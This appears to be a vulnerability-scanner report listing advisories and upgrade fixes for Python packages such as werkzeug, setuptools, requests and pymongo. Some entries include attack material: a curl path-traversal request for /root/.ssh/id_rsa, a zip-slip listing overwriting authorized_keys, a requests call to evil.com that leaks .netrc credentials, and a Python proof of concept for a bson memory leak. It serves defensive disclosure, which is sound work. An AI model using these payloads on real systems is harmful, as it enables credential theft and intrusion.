Find, fix and prevent vulnerabilities in your code.

Overview

Flask-Cors is an A Flask extension adding a decorator for CORS support

Affected versions of this package are vulnerable to Improper Verification of Source of a Communication Channel due to improper application of regex path matching rules. An attacker can gain unauthorized cross-origin access to sensitive data or functionality by exploiting the prioritization of longer regex patterns over more specific ones, leading to less restrictive CORS policies being applied to sensitive endpoints.

Note:

An initial attempt to fix the vulnerability was included in 6.0.0 but it was proved to be incomplete. PR 392 fully addresses the issue.

Remediation

Upgrade Flask-Cors to version 6.0.0 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• Vulnerability Report
• Vulnerable Code

Overview

Flask-Cors is an A Flask extension adding a decorator for CORS support

Affected versions of this package are vulnerable to Origin Validation Error due to the replacement of + characters with spaces in the unquote_plus() function, when handling the request.path parameter. An attacker can cause unauthorized cross-origin access or block valid requests by manipulating URL paths, leading to CORS policy bypasses.

Remediation

Upgrade Flask-Cors to version 6.0.0 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release
• Vulnerability Report
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the Schema.load method of the error storage utility, when handling input with the many parameter set to True. An attacker can cause excessive CPU consumption by submitting a moderately sized request.

Workaround

This vulnerability can be mitigated by validating the input type before processing, such as ensuring the data is a list and failing fast if it is not.

Remediation

Upgrade marshmallow to version 3.26.2, 4.1.2 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in the process that applies exclusion directives from MANIFEST.in due to improper Unicode normalization handling on macOS APFS or HFS+ filesystems. An attacker can cause unintended files to be included in a source distribution by creating filenames that exploit normalization collisions.

Remediation

Upgrade setuptools to version 83.0.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in formparser.MultiPartParser(). An attacker can cause the parser to consume more memory than the upload size, in excess of max_form_memory_size, by sending malicious data in a non-file field of a multipart/form-data request.

Remediation

Upgrade werkzeug to version 3.0.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in multipart data parsing. An attacker can cause a denial of service and block worker processes from handling legitimate requests by sending crafted multipart data to an endpoint that will parse it, eventually exhausting or killing all available workers.

Exploiting this vulnerability is possible if the uploaded file starts with CR or LF and is followed by megabytes of data without these characters.

Remediation

Upgrade werkzeug to version 2.3.8, 3.0.1 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

Werkzeug is a WSGI web application library.

Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.

Note: This is only exploitable on Windows systems using Python versions prior to 3.11.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Werkzeug to version 3.0.6 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name, e.g. CON or NUL.

Note: This is only vulnerable on Windows, where special device names are implicitly present in every directory.

Remediation

Upgrade werkzeug to version 3.1.4 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join() function, which permits path segments containing Windows special device names with file extensions or trailing spaces. An attacker can access unintended files or devices by crafting malicious path inputs.

Note:

This issues exists due to the incomplete fix for CVE-2025-66221 that failed to account for compound extensions such as CON.txt.html or trailing spaces.

Remediation

Upgrade werkzeug to version 3.1.5 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name.

Notes:

1. This is only vulnerable on Windows, where special device names are implicitly present in every directory;

2. This is a bypass of CVE-2025-66221, as the added filtering failed to account for the fact that safe_join accepts paths with multiple segments, such as example/NUL.

Remediation

Upgrade werkzeug to version 3.1.6 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via safe_join on Windows, which fails to block special Windows device names (e.g. CON, NUL, AUX) when an empty Alternate Data Stream (ADS) marker (:) is appended to the name. An attacker can supply a path component such as CON: that bypasses the device-name check, causing the application to crash when the path is accessed on an NTFS filesystem.

Note: This is only exploitable on Windows hosts running on NTFS.

Remediation

Upgrade werkzeug to version 3.1.9 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic using NoSQL operators in the GridFS file identifier handling in gridfs/synchronous/grid_file.py, gridfs/asynchronous/grid_file.py, and gridfs/grid_file_shared.py, where delete(), rename(), find_one(), exists(), abort(), and the chunk cursor build their filters as {"_id": file_id} and {"files_id": file_id} with the caller's value placed directly as the match value. An attacker can delete, rename, or read files other than the one addressed, up to every file in the bucket, by supplying a mapping such as {"$gt": ""} or {"$ne": null} in place of an identifier, which the server evaluates as an operator expression rather than as a value to match. This requires the application to pass a value it received from the user into one of these methods without coercing it to an ObjectId or other scalar first, which is the usual shape when a file identifier arrives in a decoded JSON request body.

Remediation

Upgrade pymongo to version 4.18.1 or higher.

References

• GitHub Commit
• GitHub Security Advisory
• Jira Issue
• Red Hat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

1. HTTP → HTTPS: leak

2. HTTPS → HTTP: no leak

3. HTTPS → HTTPS: leak

4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

• GitHub Commit
• GitHub Release
• PoC

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order in the DNS pre-processing pipeline, which allows an off-path attacker who can spoof the source IP address of a malformed DNS response packet to cause denial of service. The UDP processing functions in query.py and asyncquery.py accept the first-arriving packet before closing the receiving socket, allowing the attacker to make the remote nameserver appear unavailable for the target resolver and clients.

Remediation

Upgrade dnspython to version 2.6.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Tudoor Paper

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Pyup Blog
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in _EncryptionIO.kms_request and _EncryptionIO.fetch_keys, which pass the endpoint through parse_host() and on to _create_connection unchanged when it ends in .sock, so the connection code interprets it as a Unix domain socket path and connects over AF_UNIX rather than to a network host. A user with write access to the key vault collection can make the application open a connection to a filesystem path of their choosing from inside its own process, by setting masterKey.endpoint on a data key to a value with that suffix. This requires the application to use client side field level encryption or Queryable Encryption against a key vault the attacker can write to, and TLS verification on the KMS connection causes the attempt to fail, which confines the effect to the connection itself.

Note: This is only exploitable if an attacker has write access to the key vault collection used by the application.

Workaround

This vulnerability can be avoided by restricting key vault write access to trusted principals and auditing existing key vault documents for .sock suffixed endpoint values.

Remediation

Upgrade pymongo to version 4.18.2 or higher.

References

• Changelog
• GitHub Advisory
• GitHub Commit
• GitHub Release
• Red Hat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.

PoC

import bson
import struct

def function(length: int) -> bytes:
    secret = b'X' * length

# variable 'secret' is deleted here but it's still stored in memory

def generate_payload(length: int) -> bytes:
    string_size = length - 0x1e

    return bytes.fromhex(
        struct.pack('<I', length).hex() + # payload size
        '0f' + # type "code with scope"
        '3100' + # key (cstring)
        '0a000000' + # c_w_s_size
        '04000000' + # code_size
        '41004200' + # code (cstring)
        'feffffff' + # scope_size
        '02' + # type "string"
        '3200' + # key (cstring)
        struct.pack('<I', string_size).hex() + # string size
        '00' * string_size # value (cstring)
# next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception
    )

def deserialize_payload(payload: bytes) -> None:
    try:
        obj = bson.decode(payload) # throws exception
        print(obj) # unreachable code
    except Exception as e:
        print(e)


print('case 1: leak the printable string')

# uses secret internally
function(0x50 + 0x0F)

# payload could be read from stdin or similar
payload = generate_payload(0x50)
deserialize_payload(payload)



print('\n case 2: leak some non-printable bytes')

for i in range(5):
    # payload could be read from stdin or similar
    payload = generate_payload(0x54f + i)
    deserialize_payload(payload)

Remediation

Upgrade pymongo to version 4.6.3 or higher.

References

• Github Commit
• Github Gist
• MongoDB Issue

Overview

validators is a package for Python Data Validation for Humans.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the torbot.modules.validators.validate_link function. An attacker can cause an application crash by using a well-crafted argument. This is due to the use of a regular expression with exponential complexity. An attacker can exploit this by using a well-crafted URL argument, causing a Denial of Service on the system.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validators to version 0.21.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Gist

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

• GitHub Commit
• Maintainer's Advisory

MPL-2.0 license